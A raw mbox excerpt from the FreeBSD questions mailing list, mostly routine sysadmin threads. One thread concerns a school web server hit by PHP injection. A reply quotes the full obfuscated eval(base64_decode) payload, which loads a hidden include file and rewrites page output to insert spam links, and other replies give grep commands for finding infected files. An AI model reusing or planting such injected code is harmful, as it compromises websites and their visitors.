7:44 PM, Kris Kennaway wrote: > > > Derek Ragona wrote: > > > >> I have a freshly installed 7.0 release server. The configuration files > >> (all dot files including .ssh etc.) in /root keep getting deleted. I > >> assume this is from a script running from periodic and can be set NOT to > >> delete these files. Can someone point me where I need to make this > change. > >> I have already combed through the handbook and mailing list archives. > >> > > > > There is no such standard script in FreeBSD. > > > > Kris > > > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > > freebsd-questions-unsubscribe@freebsd.org" > > > > >I'd make sure there's not something like a tmpfs/mfs filesystem that /root >is being used on. If / is on a ramdisk image of any kind, on each reboot, >it should disappear. > >Perhaps you should paste your fstab and current mounted filesystems as an >aid to debug. I didn't think it would be from the way the filesystems are mounted, so here's that information: cat /etc/fstab # Device Mountpoint FStype Options Dump Pass# /dev/da0s1b none swap sw 0 0 /dev/da0s1a / ufs rw 1 1 /dev/da0s1d /usr ufs rw 2 2 /dev/acd0 /cdrom cd9660 ro,noauto 0 0 mount /dev/da0s1a on / (ufs, local) devfs on /dev (devfs, local) /dev/da0s1d on /usr (ufs, local, soft-updates) /root is on /dev/da0s1a This particular server is running in a VM on a vmware esx 3.5 server. The server runs fine, but every so often the dot files disappear for root. I have not found the behavior to follow a reboot, but some period of time. Hence my suspicions it was a periodic script. -Derek -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 12:32:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0D0801065673 for ; Thu, 4 Dec 2008 12:32:01 +0000 (UTC) (envelope-from mcoyles@horbury.wakefield.sch.uk) Received: from smtp2-wak.yhgfl.net (smtp2-wak-ext.yhgfl.net [89.207.208.43]) by mx1.freebsd.org (Postfix) with ESMTP id 9E7368FC13 for ; Thu, 4 Dec 2008 12:32:00 +0000 (UTC) (envelope-from mcoyles@horbury.wakefield.sch.uk) Received: from horbury.wakefield.sch.uk ([10.126.96.34]) by smtp2-wak.yhgfl.net (8.13.8/8.13.8/Debian-3) with ESMTP id mB4CF6I4029390 for ; Thu, 4 Dec 2008 12:15:07 GMT Received: from ITTEAM02 [10.126.96.253] by horbury.wakefield.sch.uk with ESMTP (SMTPD32-7.07) id A9C528D0020; Thu, 04 Dec 2008 12:15:01 +0000 From: "Marc Coyles" To: Date: Thu, 4 Dec 2008 12:14:58 -0000 Message-ID: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AclWCezrNx3MuBYcTUS+XfHfWuXp4g== Content-Language: en-gb X-YHGfL-MailScanner-Information: Please contact the YHGfL Foundation for more information X-YHGfL-MailScanner: Found to be clean X-YHGfL-MailScanner-MCPCheck: MCP-Clean, MCP-Checker (score=0, required 0.5) X-YHGfL-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-4.399, required 5, autolearn=not spam, ALL_TRUSTED -1.80, BAYES_00 -2.60) X-MailScanner-From: mcoyles@horbury.wakefield.sch.uk Subject: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: mcoyles@horbury.wakefield.sch.uk List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 12:32:01 -0000 Never had to do this so not sure where to start. Have googled and found some solutions but they don't particularly work (see below)... Someone has managed to inject php code into a PILE of php pages on my webserver... "" This basically brings up a pile of spam links. I need to do a find / replace throughout the entire of the /home/horbury/public_html directory... I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode' to get a list of the files that require the operation performing, but it comes up with an error (xargs: unterminated quote) after a few results... Any tips? Basically to find the above and remove it... otherwise I'll have to resort to doing it in Dreamweaver and reuploading, which is a major pita, or restoring from a backup (after working out when exactly this happened and how - I'm guessing thru a teacher's out of date wordpress install somewhere). Marc A Coyles - Horbury School ICT Support Team Mbl: 07850 518106 Land: 01924 282740 ext 730 Helpdesk: 01924 282740 ext 2000 From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 12:52:07 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 48C7E106564A for ; Thu, 4 Dec 2008 12:52:07 +0000 (UTC) (envelope-from vince@unsane.co.uk) Received: from unsane.co.uk (unsane-pt.tunnel.tserv5.lon1.ipv6.he.net [IPv6:2001:470:1f08:110::2]) by mx1.freebsd.org (Postfix) with ESMTP id C16D58FC1A for ; Thu, 4 Dec 2008 12:52:06 +0000 (UTC) (envelope-from vince@unsane.co.uk) Received: from vhoffman.lon.namesco.net (150.117-84-212.staticip.namesco.net [212.84.117.150]) (authenticated bits=0) by unsane.co.uk (8.14.0/8.14.0) with ESMTP id mB4CpE7B027669 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 4 Dec 2008 12:51:16 GMT (envelope-from vince@unsane.co.uk) Message-ID: <4937D272.9090108@unsane.co.uk> Date: Thu, 04 Dec 2008 12:52:02 +0000 From: Vincent Hoffman User-Agent: Thunderbird 2.0.0.18 (Macintosh/20081105) MIME-Version: 1.0 To: mcoyles@horbury.wakefield.sch.uk References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> In-Reply-To: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> X-Enigmail-Version: 0.95.7 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 12:52:07 -0000 Marc Coyles wrote: > Never had to do this so not sure where to start. Have googled and found > some solutions but they don't particularly work (see below)... > > Someone has managed to inject php code into a PILE of php pages on my > webserver... > > " /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz > ZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhp > c3RzKCcvaG9tZS9ob3JidXJ5L3B1YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRv > ci9mY2tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMv > aWNvbnMvMzIvbWRsX3V0Zi5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9ob3JidXJ5L3B1 > YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRvci9mY2tlZGl0b3IvZWRpdG9yL2Zp > bGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvbWRsX3V0Zi5waHAn > KTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcp > KXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgk > UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdB > MzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYw > NjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRS > MEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMw > ODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5 > MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2 > OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZE > QTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4 > ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2 > QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4 > NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy > ODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigk > UjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdB > N0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2 > NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31p > ZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdC > N0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFF > MzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy > ODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUz > MTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNF > MDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0 > dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29i > aCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQt > RW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6 > ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0 > Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXty > ZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwk > UjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCku > JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcp > O319fQ==')); ?>" > > This basically brings up a pile of spam links. > > I need to do a find / replace throughout the entire of the > /home/horbury/public_html directory... > I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode' > to get a list of the files that require the operation performing, but it > comes up with an error (xargs: unterminated quote) after a few > results... > try using find /home/Horbury/ -type f -print0| xargs -0 grep -l base64_decode (not certain it'll fix it but good practice anyway) Vince > Any tips? Basically to find the above and remove it... otherwise I'll > have to resort to doing it in Dreamweaver and reuploading, which is a > major pita, or restoring from a backup (after working out when exactly > this happened and how - I'm guessing thru a teacher's out of date > wordpress install somewhere). > > Marc A Coyles - Horbury School ICT Support Team > Mbl: 07850 518106 > Land: 01924 282740 ext 730 > Helpdesk: 01924 282740 ext 2000 > > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 12:53:56 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 60CAE1065676 for ; Thu, 4 Dec 2008 12:53:56 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: from yw-out-2324.google.com (yw-out-2324.google.com [74.125.46.30]) by mx1.freebsd.org (Postfix) with ESMTP id 13E7E8FC14 for ; Thu, 4 Dec 2008 12:53:55 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: by yw-out-2324.google.com with SMTP id 9so1706410ywe.13 for ; Thu, 04 Dec 2008 04:53:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:cc:subject:references:in-reply-to :content-type; bh=3dneC5s6I9GeYI6tk5bndiFegH2U86uFSanijbfLOu0=; b=h8A/7QVJQQ6GUYnUsm5hmdoTi7+xKDSLYDBGgWu7pKdOhWvLXEMWkBdUyUChMwYwWd qCCglgeIZov69CZq+Or31K9qx3ceROYhgu/1EHG8uUAWhyYjCqKPRIxccoQryPj8yucW JyWTX3NOZHelyIocpH3KPz0MJeIl9iqkmeXDQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type; b=QWVGnCrnNyRRlxeXTSRtmq1Cwx9mZ3GYcCZYN2lLybUPSuPlHdOf1bRFeZY8UwPHo0 ANkw4whFkV5e3D15vk5kQjIE/yX70zlKjN3CUMmLpcAFs9QSZHlrYF4VBk+8Ba1uLcE7 mfuuzAilwp0hkMnZvy7M2iW1ajea22xxBgSvM= Received: by 10.151.143.14 with SMTP id v14mr19756127ybn.47.1228395235323; Thu, 04 Dec 2008 04:53:55 -0800 (PST) Received: from ?68.242.126.252? ([68.242.126.252]) by mx.google.com with ESMTPS id n29sm8505614elf.17.2008.12.04.04.53.52 (version=TLSv1/SSLv3 cipher=RC4-MD5); Thu, 04 Dec 2008 04:53:54 -0800 (PST) Message-ID: <4937D2E1.7010009@gmail.com> Date: Thu, 04 Dec 2008 07:53:53 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: anthony.rasat@gmail.com References: <1945089444-1228360728-cardhu_decombobulator_blackberry.rim.net-1342228431-@bxe1001.bisx.prodap.on.blackberry> In-Reply-To: <1945089444-1228360728-cardhu_decombobulator_blackberry.rim.net-1342228431-@bxe1001.bisx.prodap.on.blackberry> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: hp dv2225nr laptop optical drive random ejects X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 12:53:56 -0000 I had assumed something like that, but my drive is san cable. It uses a solid connection via a hard plastic port, similar to an sata port, but no cables. That lead me to believe that the port itself could be ill-aligned or something. I can press on the case above the optical drive and it will eject. So that must be what it is. Anthony M. Rasat wrote: >> has anyone ever seen this happen? >system is 8.0-current, drive is not >> being used and it will just eject while >sitting on a table. >> > > Yes, I did. > > It was hardware-related. It was the CD/DVD ribbon connector getting all wrinkles and apparently something resetting just out of even the smallest vibration. > > You may find this ribbon connector appearance conspicous. It usually gold or red colored. Look from under your laptop while drive's out if you can't see it from topside. > > And this ribbon connector is not exactly cheap too. I'm not sure why. > > From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 12:57:55 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 09DAA106564A for ; Thu, 4 Dec 2008 12:57:55 +0000 (UTC) (envelope-from jcigar@ulb.ac.be) Received: from mxin.ulb.ac.be (mxin.ulb.ac.be [164.15.128.112]) by mx1.freebsd.org (Postfix) with ESMTP id 9CC7B8FC08 for ; Thu, 4 Dec 2008 12:57:54 +0000 (UTC) (envelope-from jcigar@ulb.ac.be) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjMBAMtcN0mkD30E/2dsb2JhbAAIlFO7WoMC Received: from bebif01.ulb.ac.be (HELO [10.0.0.194]) ([164.15.125.4]) by smtp.ulb.ac.be with ESMTP; 04 Dec 2008 13:57:53 +0100 From: Julien Cigar To: mcoyles@horbury.wakefield.sch.uk In-Reply-To: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> Content-Type: text/plain; charset=utf-8 Date: Thu, 04 Dec 2008 13:58:20 +0100 Message-Id: <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 12:57:55 -0000 the following should work : $ find /home/horbury -type f -print0 | xargs -0 grep 'base64_decode' or : $ find /home/horbury -type f -exec grep 'base64_decode' {} \; On Thu, 2008-12-04 at 12:14 +0000, Marc Coyles wrote: > Never had to do this so not sure where to start. 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Basically to find the above and remove it... otherwise I'll > have to resort to doing it in Dreamweaver and reuploading, which is a > major pita, or restoring from a backup (after working out when exactly > this happened and how - I'm guessing thru a teacher's out of date > wordpress install somewhere). > > Marc A Coyles - Horbury School ICT Support Team > Mbl: 07850 518106 > Land: 01924 282740 ext 730 > Helpdesk: 01924 282740 ext 2000 > > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- Julien Cigar Belgian Biodiversity Platform http://www.biodiversity.be Université Libre de Bruxelles (ULB) Campus de la Plaine CP 257 Bâtiment NO, Bureau 4 N4 115C (Niveau 4) Boulevard du Triomphe, entrée ULB 2 B-1050 Bruxelles Mail: jcigar@ulb.ac.be @biobel: http://biobel.biodiversity.be/person/show/471 Tel : 02 650 57 52 From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 12:59:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 752091065672 for ; Thu, 4 Dec 2008 12:59:53 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: from smtp.mel.people.net.au (smtp.mel.people.net.au [218.214.17.98]) by mx1.freebsd.org (Postfix) with SMTP id ADF188FC08 for ; Thu, 4 Dec 2008 12:59:52 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: (qmail 18417 invoked from network); 4 Dec 2008 12:59:49 -0000 Received: from unknown (HELO blizzard.dnsalias.org) (218.215.157.115) by smtp.mel.people.net.au with SMTP; 4 Dec 2008 12:59:49 -0000 Received: by blizzard.dnsalias.org (Postfix, from userid 1001) id C8D1F171CE; Thu, 4 Dec 2008 23:59:50 +1100 (EST) Date: Thu, 4 Dec 2008 23:59:50 +1100 From: andrew clarke To: Wojciech Puchar Message-ID: <20081204125950.GA54488@ozzmosis.com> References: <20081203163047.B47567@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081203163047.B47567@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org Subject: Re: cvs stupid question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 12:59:53 -0000 On Wed 2008-12-03 16:31:29 UTC+0100, Wojciech Puchar (wojtek@wojtek.tensor.gdynia.pl) wrote: > export CVSROOT=freebsdanoncvs@anoncvs.FreeBSD.org:/home/ncvs > cvs checkout -rRELENG_7 src > > waited over an hour, no files got fetched > > what i'm doing wrong? Looks like the server is down: $ export CVSROOT=freebsdanoncvs@anoncvs.FreeBSD.org:/home/ncvs $ cvs checkout -rRELENG_7 src ssh: connect to host anoncvs.FreeBSD.org port 22: Connection refused cvs [checkout aborted]: end of file from server (consult above messages if any) This works: $ export CVSROOT=anoncvs@anoncvs1.FreeBSD.org:/home/ncvs $ cvs checkout -rRELENG_7 src The authenticity of host 'anoncvs1.freebsd.org (216.87.78.137)' can't be established. DSA key fingerprint is 53:1f:15:a3:72:5c:43:f6:44:0e:6a:e9:bb:f8:01:62. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'anoncvs1.freebsd.org' (DSA) to the list of known hosts. cvs checkout: Updating src U src/COPYRIGHT U src/LOCKS U src/MAINTAINERS U src/Makefile ^Ccvs [checkout aborted]: received interrupt signal $ Killed by signal 2. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 13:00:17 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 151191065676; Thu, 4 Dec 2008 13:00:17 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id B4AA08FC1E; Thu, 4 Dec 2008 13:00:15 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB4D09dq053692; Thu, 4 Dec 2008 14:00:09 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB4D09SN053689; Thu, 4 Dec 2008 14:00:09 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Thu, 4 Dec 2008 14:00:09 +0100 (CET) From: Wojciech Puchar To: Ivan Voras In-Reply-To: Message-ID: <20081204135941.C53671@wojtek.tensor.gdynia.pl> References: <20081204113806.GA4578@aurora.oekb.co.at> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Tool for benchmark local disk vs. iSCSI X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 13:00:17 -0000 >> >> My first thought was about "iozone"... > > iozone is ok, but a little complex to run. Any disk benchmark will be ok > - bonnie++, blogbench, etc. but each has an emphasis on a different > aspect of the system. I think bonnie++ will be the simplest in your case. can bonnie++ operate on raw device not filesystem? he asked about disk benchmarked not disk+filesystem > > Make sure you know what you're benchmarking - for example if the iSCSI > drive (target) is hosted as a file in a regular file system, it will be > overly (and dangerously) cached on the server. > > From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 13:00:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9C82510656FC for ; Thu, 4 Dec 2008 13:00:25 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (tunnel490.ipv6.xs4all.nl [IPv6:2001:888:10:1ea::2]) by mx1.freebsd.org (Postfix) with ESMTP id 271308FC28 for ; Thu, 4 Dec 2008 13:00:24 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.14.2/8.14.2) with ESMTP id mB4D0LmP017851; Thu, 4 Dec 2008 14:00:21 +0100 (CET) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.14.2/8.14.2/Submit) id mB4D0LDt017850; Thu, 4 Dec 2008 14:00:21 +0100 (CET) (envelope-from mail25@bzerk.org) Date: Thu, 4 Dec 2008 14:00:21 +0100 From: Ruben de Groot To: Vincent Hoffman Message-ID: <20081204130021.GA17518@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , Vincent Hoffman , mcoyles@horbury.wakefield.sch.uk, freebsd-questions@freebsd.org References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <4937D272.9090108@unsane.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4937D272.9090108@unsane.co.uk> User-Agent: Mutt/1.4.2.3i X-Spam-Status: No, score=-4.3 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00 autolearn=ham version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ei.bzerk.org X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (ei.bzerk.org [127.0.0.1]); Thu, 04 Dec 2008 14:00:24 +0100 (CET) Cc: mcoyles@horbury.wakefield.sch.uk, freebsd-questions@freebsd.org Subject: Re: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 13:00:25 -0000 On Thu, Dec 04, 2008 at 12:52:02PM +0000, Vincent Hoffman typed: > Marc Coyles wrote: > > > > I need to do a find / replace throughout the entire of the > > /home/horbury/public_html directory... > > I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode' > > to get a list of the files that require the operation performing, but it > > comes up with an error (xargs: unterminated quote) after a few > > results... > > > try using > > find /home/Horbury/ -type f -print0| xargs -0 grep -l base64_decode > (not certain it'll fix it but good practice anyway) Or just: grep -r base64_decode /home/Horbury Ruben From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 13:04:52 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F423C106567C for ; Thu, 4 Dec 2008 13:04:51 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id A741D8FC18 for ; Thu, 4 Dec 2008 13:04:51 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L8Dsu-0003vK-N0 for freebsd-questions@freebsd.org; Thu, 04 Dec 2008 13:04:48 +0000 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 04 Dec 2008 13:04:48 +0000 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 04 Dec 2008 13:04:48 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Thu, 04 Dec 2008 14:04:43 +0100 Lines: 37 Message-ID: References: <20081204113806.GA4578@aurora.oekb.co.at> <20081204135941.C53671@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigADE149605345532720D28E3D" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Thunderbird 2.0.0.18 (X11/20081125) In-Reply-To: <20081204135941.C53671@wojtek.tensor.gdynia.pl> X-Enigmail-Version: 0.95.0 Sender: news Subject: Re: Tool for benchmark local disk vs. iSCSI X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 13:04:52 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigADE149605345532720D28E3D Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Wojciech Puchar wrote: >>> >>> My first thought was about "iozone"... >> >> iozone is ok, but a little complex to run. Any disk benchmark will be = ok >> - bonnie++, blogbench, etc. but each has an emphasis on a 